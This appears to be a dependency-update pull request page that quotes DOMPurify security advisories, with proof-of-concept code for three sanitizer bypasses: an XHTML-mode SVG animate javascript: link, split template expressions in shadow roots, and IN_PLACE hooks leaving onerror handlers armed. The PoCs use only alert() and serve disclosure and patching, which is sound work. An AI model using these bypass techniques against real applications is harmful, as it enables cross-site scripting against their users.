  `--user-data-dir=${dir}/profile`, 'about:blank'], { stdio: ['ignore', 'ignore', 'ignore', 'pipe', 'pipe'] });
let id = 0, buf = ''; const pend = new Map(), dialogs = [];
p.stdio[4].on('data', (d) => {
  buf += d; let i;
  while ((i = buf.indexOf('\0')) >= 0) {
    const m = JSON.parse(buf.slice(0, i)); buf = buf.slice(i + 1);
    if (m.id && pend.has(m.id)) { pend.get(m.id)(m); pend.delete(m.id); }
    else if (m.method === 'Page.javascriptDialogOpening') {
      dialogs.push(m.params.message);
      send('Page.handleJavaScriptDialog', { accept: true }, m.sessionId);
    }
  }
});
function send(method, params = {}, sessionId) {
  return new Promise((r) => { const n = ++id; pend.set(n, r); p.stdio[3].write(JSON.stringify({ id: n, method, params, sessionId }) + '\0'); });
}
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
(async () => {
  const { result: { targetId } } = await send('Target.createTarget', { url: 'about:blank' });
  const { result: { sessionId: s } } = await send('Target.attachToTarget', { targetId, flatten: true });
  await send('Page.enable', {}, s); await send('Runtime.enable', {}, s);
  const ev = async (e) => (await send('Runtime.evaluate', { expression: e, returnByValue: true, awaitPromise: true }, s)).result.result.value;
  let vulnerable = false, xhtmlDoc = false;
  const ver = async () => ev('DOMPurify.version');
  for (const [mode, page] of [['html', url], ['xhtml', url], ['xhtml', xurl]]) {
    await send('Page.navigate', { url: page }, s); await sleep(500);
    const docType = await ev('document.contentType');
    if (mode === 'html') console.log('DOMPurify', await ver(), '/', await ev('navigator.userAgent.match(/Chrome\\/[\\d.]+/)[0]'));
    dialogs.length = 0;
    const clean = await ev(`run(${JSON.stringify(mode)})`);
    await sleep(400); // let the 0.01s animation apply (fill=freeze)
    const href = await ev(`(()=>{const a=document.getElementById('q');return a?a.href.animVal:null})()`);
    const box = await ev(`(()=>{const t=document.querySelector('#sink text');if(!t)return null;const r=t.getBoundingClientRect();return [r.x+r.width/2,r.y+r.height/2]})()`);
    if (box) for (const type of ['mouseMoved', 'mousePressed', 'mouseReleased'])
      await send('Input.dispatchMouseEvent', { type, x: box[0], y: box[1], button: 'left', clickCount: 1 }, s);
    await sleep(800);
    console.log(`\n[${mode} mode, sink document ${docType}] sanitized output:\n  ${clean}`);
    console.log(`  animated <a> href (animVal): ${JSON.stringify(href)}`);
    console.log(`  alert() fired on click: ${dialogs.length ? 'YES ' + JSON.stringify(dialogs) : 'no'}`);
    if (mode === 'xhtml' && dialogs.length) vulnerable = true;
    if (mode === 'xhtml' && docType === 'application/xhtml+xml') xhtmlDoc = dialogs.length > 0;
  }
  console.log(vulnerable ? `\nRESULT: VULNERABLE (javascript: executed in XHTML mode; pure-XHTML document sink: ${xhtmlDoc ? 'also executes' : 'no'})` : '\nRESULT: not vulnerable');
  p.kill('SIGKILL'); process.exit(vulnerable ? 0 : 1);
})().catch((e) => { console.error(e); p.kill('SIGKILL'); process.exit(2); });
EOF
node "$WORK/drive.js" "$CHROME" "file://$WORK/poc.html" "$WORK"
Impact

Stored or reflected XSS on a click. It affects apps that sanitize SVG in XHTML mode and allow animate (or set) with attributeName, for example to keep simple SVG animations. Script runs in the app's origin when a user clicks the sanitized link. Default configs and text/html mode aren't affected.

Severity

Low

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


DOMPurify SAFE_FOR_TEMPLATES bypass: split template expressions survive in attached shadow root content on DOM output modes

GHSA-cg2g-xh64-v4q7

More information

Details

Summary

When DOMPurify is configured with SAFE_FOR_TEMPLATES: true together with a DOM-returning mode (RETURN_DOM: true, RETURN_DOM_FRAGMENT: true, or IN_PLACE: true), template expressions such as {{...}}, ${...}, and <%...%> survive sanitization inside the text content of an attached shadow root. The post-walk safety net _scrubTemplateExpressions (src/purify.ts:1717) was extended to recurse into <template>.content, but it never recurses into attached shadow roots. An attacker who can supply a DOM node carrying a shadow root (the IN_PLACE and shadow-aware RETURN_DOM surfaces) can split an expression across text nodes separated by disallowed elements; after those elements are removed the fragments become adjacent and serialize into a complete expression that a downstream template engine will evaluate.

Root Cause

SAFE_FOR_TEMPLATES neutralizes template expressions through two mechanisms: a per-text-node strip during the main walk (_stripTemplateExpressions, applied in _sanitizeElements at src/purify.ts:2246), and a final post-walk pass (_scrubTemplateExpressions, src/purify.ts:1717) that normalizes adjacent text nodes and re-strips expressions that only form after merging. The per-node strip cannot catch an expression that is split into individual fragments, because each fragment fails the delimiter regexes. The post-walk pass is the only mechanism that would catch the merged form, but it is structurally unable to reach shadow root content.

_scrubTemplateExpressions (src/purify.ts:1717-1751):
  - node.normalize() at line 1718 does not merge text nodes inside shadow roots (DOM spec).
  - NodeIterator at lines 1723-1731 does not descend into shadow trees (DOM spec).
  - Explicit recursion at lines 1743-1750 enters <template>.content only, via
    querySelectorAll('template'); there is no equivalent recursion into attached
    shadow roots.
Shadow roots are sanitized earlier by _sanitizeShadowDOM (src/purify.ts:2710), which
applies the per-node strip but never performs the post-walk normalize-and-rescrub.

Shadow root text nodes are therefore sanitized only per-node and never re-examined as a merged unit.

Impact

An attacker who controls DOM-node input containing an attached shadow root can inject template expressions that survive sanitization and are later evaluated by the application's template engine. In client-side contexts this yields cross-site scripting; in a server-side template context it can escalate to template injection. Exploitation requires non-default application configuration: the application must enable SAFE_FOR_TEMPLATES and a DOM-returning mode, pass a DOM node that already has an attached shadow root, and feed the sanitized shadow root content into a template evaluator. The shadow root does not have to be built programmatically with attachShadow: in engines that support declarative shadow DOM, attacker-supplied markup containing <template shadowrootmode="open"> parsed through setHTMLUnsafe or Document.parseHTMLUnsafe produces the same attached shadow root, so a plain HTML string reaches the gap once the application is configured this way. Demonstrated capability is injection of a complete, attacker-chosen expression into post-sanitization shadow root content; the resulting script execution and any confidentiality or integrity consequence depend on the downstream engine's evaluation context.

Proof of Concept
Preconditions:
  - DOMPurify built from the affected source (dist/purify.js or an ESM/CJS bundle).
  - A browser (or DOM implementation) with shadow DOM support.
  - Application constructs a DOM node with an attached shadow root before sanitizing,
    and later evaluates the shadow root's text content as a template.

Build a host element whose shadow root holds a template expression split across text nodes separated by disallowed elements, then sanitize in place with SAFE_FOR_TEMPLATES:

const host = document.createElement('div');
const root = host.attachShadow({ mode: 'open' });

// Split "${alert(document.domain)}" so no single fragment matches a regex.
// <object> is not in the default ALLOWED_TAGS and is removed during sanitization,
// leaving the surrounding text-node siblings adjacent.
root.appendChild(document.createTextNode('$'));
root.appendChild(document.createElement('object'));
root.appendChild(document.createTextNode('{alert(document.domain)}'));

DOMPurify.sanitize(host, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });

// After the disallowed element is removed, the fragments are adjacent and survive.
host.shadowRoot.normalize();
console.log(host.shadowRoot.textContent);
${alert(document.domain)}

A downstream template evaluator reading shadowRoot.textContent (for example new Function('return ' + content + '')() or any ${...}/{{...}} engine) then evaluates the fully formed expression.

Attack Chain
  1. Exposure: The application calls DOMPurify.sanitize(node, cfg) (src/purify.ts:2854) with SAFE_FOR_TEMPLATES: true and IN_PLACE: true (or a shadow-aware RETURN_DOM), passing a DOM node that already carries an attached shadow root.
  2. Control: The attacker controls the shadow root's text nodes and the disallowed separator elements between them; each fragment ($, {alert(document.domain)}) is a valid, individually benign text node.
  3. Path: _sanitizeAttachedShadowRoots (src/purify.ts:2977) feeds the shadow root into _sanitizeShadowDOM (src/purify.ts:2710), which strips expressions per text node (src/purify.ts:2246) and removes the disallowed separator elements, leaving the fragments adjacent.
  4. Guard: The post-walk safety net _scrubTemplateExpressions (src/purify.ts:3131-3132) is the only pass that would catch the merged expression, but it never recurses into shadow roots (src/purify.ts:1717-1751 recurses into <template>.content only).
  5. Primitive: The adjacent fragments serialize as a single concatenated string on shadowRoot.textContent / shadowRoot.innerHTML, reconstituting the complete expression.
  6. Result: A downstream template engine evaluates the attacker-chosen expression, achieving script execution (or template injection) in the engine's context.
Bypass Evidence

The relevant protection is SAFE_FOR_TEMPLATES, specifically the post-walk pass that defends against expressions that only form after adjacent text nodes merge. That defense was previously extended to <template>.content under CVE-2026-65900 (GHSA-gvmj-g25r-r7wr) by adding querySelectorAll('template') recursion at src/purify.ts:1743-1750. The strongest challenge is whether any code path performs the equivalent merge-and-rescrub inside shadow roots. Enumerating every call site of _scrubTemplateExpressions (src/purify.ts:1717, 1747, 3132, 3141) shows none receive a shadow root, and _sanitizeShadowDOM (src/purify.ts:2710) never calls _scrubTemplateExpressions or normalize(). The per-node strip cannot compensate: MUSTACHE_EXPR (src/regexp.ts:3) requires {{ or }}, TMPLIT_EXPR (src/regexp.ts:5) requires ${, and ERB_EXPR (src/regexp.ts:4) requires <% or %>, none of which appear in a single-character fragment. The CVE-2026-65900 regression tests exercise <template>.content only; no test covers shadow root content under SAFE_FOR_TEMPLATES. The gap is therefore an unfixed case on a distinct remediation boundary (shadow roots) rather than a bypass of the delivered template-content fix.

Affected Versions
  • Ecosystem: npm
  • Package: dompurify
  • Confirmed affected range: >= 3.4.4, <= 3.4.16
  • Latest release checked: 3.4.16 (npm registry)
  • Fix status: not fixed

The lower bound 3.4.4 is the release that introduced both the attached-shadow-root sanitization pass and the _scrubTemplateExpressions safety net; releases 3.4.4 through 3.4.7 carry the safety net with no content-container recursion, and 3.4.8 onward add <template>.content recursion but still omit shadow root recursion. No published release and no current development revision contains a shadow-root fix.

Suggested Fix

Enforce the same post-walk normalize-and-rescrub invariant on attached shadow roots that already applies to <template>.content. After _sanitizeShadowDOM finishes walking a shadow root, run _scrubTemplateExpressions over that shadow root so adjacent text nodes created by element removal are merged and re-stripped; alternatively, have _scrubTemplateExpressions discover and recurse into attached shadow roots as it does for template content. The fix must cover nested shadow roots and shadow roots inside <template>.content, and it must handle all three expression dialects, since any disallowed element can serve as the separator that produces adjacent fragments.


Reported by zx (GitHub: @​manus-pi).

Severity

  • CVSS Score: 9.2 / 10 (Critical)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


DOMPurify IN_PLACE: hook that removes a parent or sibling leaves the detached subtree's event handlers armed (incomplete fix for GHSA-p98j-92pf-mc4p)

GHSA-mrv2-3pqr-j5jr

More information

Details

Summary

The 3.4.16 fix for GHSA-p98j-92pf-mc4p only covers a hook that removes the node it was called for. If an IN_PLACE hook removes a different node, like the current node's parent or a sibling that has not been visited yet, that subtree is never walked or neutralized. Event handlers in it stay on the elements, and an <img onerror> that was already loading fires after sanitize() returns.

The README says: "Nodes that a hook detaches from the tree ... are treated as removed. In IN_PLACE mode their subtree is neutralized inline, so an <img onload> that was already loading when you built the live tree cannot fire after sanitize() returns." That does not hold when the detached node is not the hook's own node.

Tested versions
  • 3.4.16 (latest) and main at 18f8f0e
  • also 3.4.15, 3.4.12 and 2.5.8

jsdom for the matrix below, and Chromium (Playwright) for the event actually firing.

Details

src/purify.ts line 2134 (dist/purify.cjs.js line 2009 in 3.4.16), _handleHookDetachedNode():

if (currentNode === root || getParentNode(currentNode) !== null) {
  return false;
}
if (IN_PLACE) {
  _neutralizeSubtree(currentNode);
}

It only checks whether currentNode lost its parent. When a hook removes currentNode.parentNode (or any ancestor), currentNode still has a parent, so nothing happens. The rest of the removed subtree is no longer reachable by the walker, and it is not in DOMPurify.removed, so the post walk pass does not see it either. The same happens when a hook removes a later sibling. This applies to all five element and attribute hooks.

PoC (jsdom)
const { JSDOM } = require('jsdom')
const createDOMPurify = require('dompurify')
const win = new JSDOM('<!doctype html><body></body>').window
const doc = win.document

for (const mode of ['self', 'parent', 'nextSibling']) {
  const DOMPurify = createDOMPurify(win)
  doc.body.innerHTML = '<div id=root><figure><img class=bad src=a.png>' +
    '<img id=evil src=x onerror=alert(1)></figure><p>ok</p></div>'
  const root = doc.getElementById('root')
  const evil = doc.getElementById('evil')

  // app hook: drop a bad image (self), its wrapper (parent), or the next element (nextSibling)
  DOMPurify.addHook('afterSanitizeAttributes', (node) => {
    if (node.getAttribute && node.getAttribute('class') === 'bad') {
      if (mode === 'self') node.remove()
      if (mode === 'parent') node.parentNode.remove()
      if (mode === 'nextSibling') node.nextElementSibling.remove()
    }
  })

  DOMPurify.sanitize(root, { IN_PLACE: true })
  console.log(DOMPurify.version, mode.padEnd(11), 'onerror =', JSON.stringify(evil.getAttribute('onerror')))
}

Output on 3.4.16:

3.4.16 self        onerror = null
3.4.16 parent      onerror = "alert(1)"
3.4.16 nextSibling onerror = "alert(1)"

In self mode the walker still reaches the second image and strips onerror. In the other two modes the second image is detached with its handler still set. The same result is achieved with each of beforeSanitizeElements, uponSanitizeElement, afterSanitizeElements, beforeSanitizeAttributes and afterSanitizeAttributes.

PoC (browser)

The same thing in a real page, served from 127.0.0.1 and opened in Chromium:

<!doctype html><meta charset=utf-8>
<script src="purify.min.js"></script>
<body><pre id=log></pre>
<script>
window.fired = [];
function run(mode) {
  const D = DOMPurify(window);
  D.addHook('afterSanitizeAttributes', n => {
    if (n.getAttribute && n.getAttribute('class') === 'bad') {
      if (mode === 'parent') n.parentNode.remove();
      if (mode === 'self') n.remove();
    }
  });
  const root = document.createElement('div');
  document.body.appendChild(root);
  root.innerHTML = '<figure><img class=bad src=data:,><img src=x onerror="fired.push(\'' + mode + '\')"></figure><p>ok</p>';
  D.sanitize(root, { IN_PLACE: true });
  return root.outerHTML;
}
const a = run('self'), b = run('parent');
setTimeout(() => {
  document.getElementById('log').textContent =
    'version=' + DOMPurify.version + '\nself out=' + a + '\nparent out=' + b + '\nfire

> [!IMPORTANT]
> ✂ PR body was truncated to here.

@renovate renovate Bot added backport-ignore This PR is a new feature and should not be cherry-picked onto release branches kind/dependencies Pull requests that update a dependency file labels Oct 22, 2026
@coderabbitai

coderabbitai Bot commented Oct 22, 2026

Copy link
Copy Markdown
Contributor

Important

Review skipped

Bot user detected.

To trigger a single review, invoke the @coderabbitai review command.

⚙️ Run configuration
  • Source mode: Auto
  • Repository: Unavailable
  • Branch: Unavailable
  • File: No configuration file from this repository applied
  • Commit: Unavailable
  • Layers: Organization UI
  • Review profile: CHILL
  • Plan: Advanced
  • Run ID: 1479c7d9-a47f-4656-ac1a-c4bdd221ce85

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

Use the checkbox below for a quick retry:

  • 🔍 Trigger review
  • Autofix · Keep fixing CodeRabbit findings and required CI, and resolving merge conflicts

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

@phlipsterit phlipsterit added backport This PR should be cherry-picked onto older release branches and removed backport-ignore This PR is a new feature and should not be cherry-picked onto release branches labels Oct 26, 2026

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

backport This PR should be cherry-picked onto older release branches kind/dependencies Pull requests that update a dependency file

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant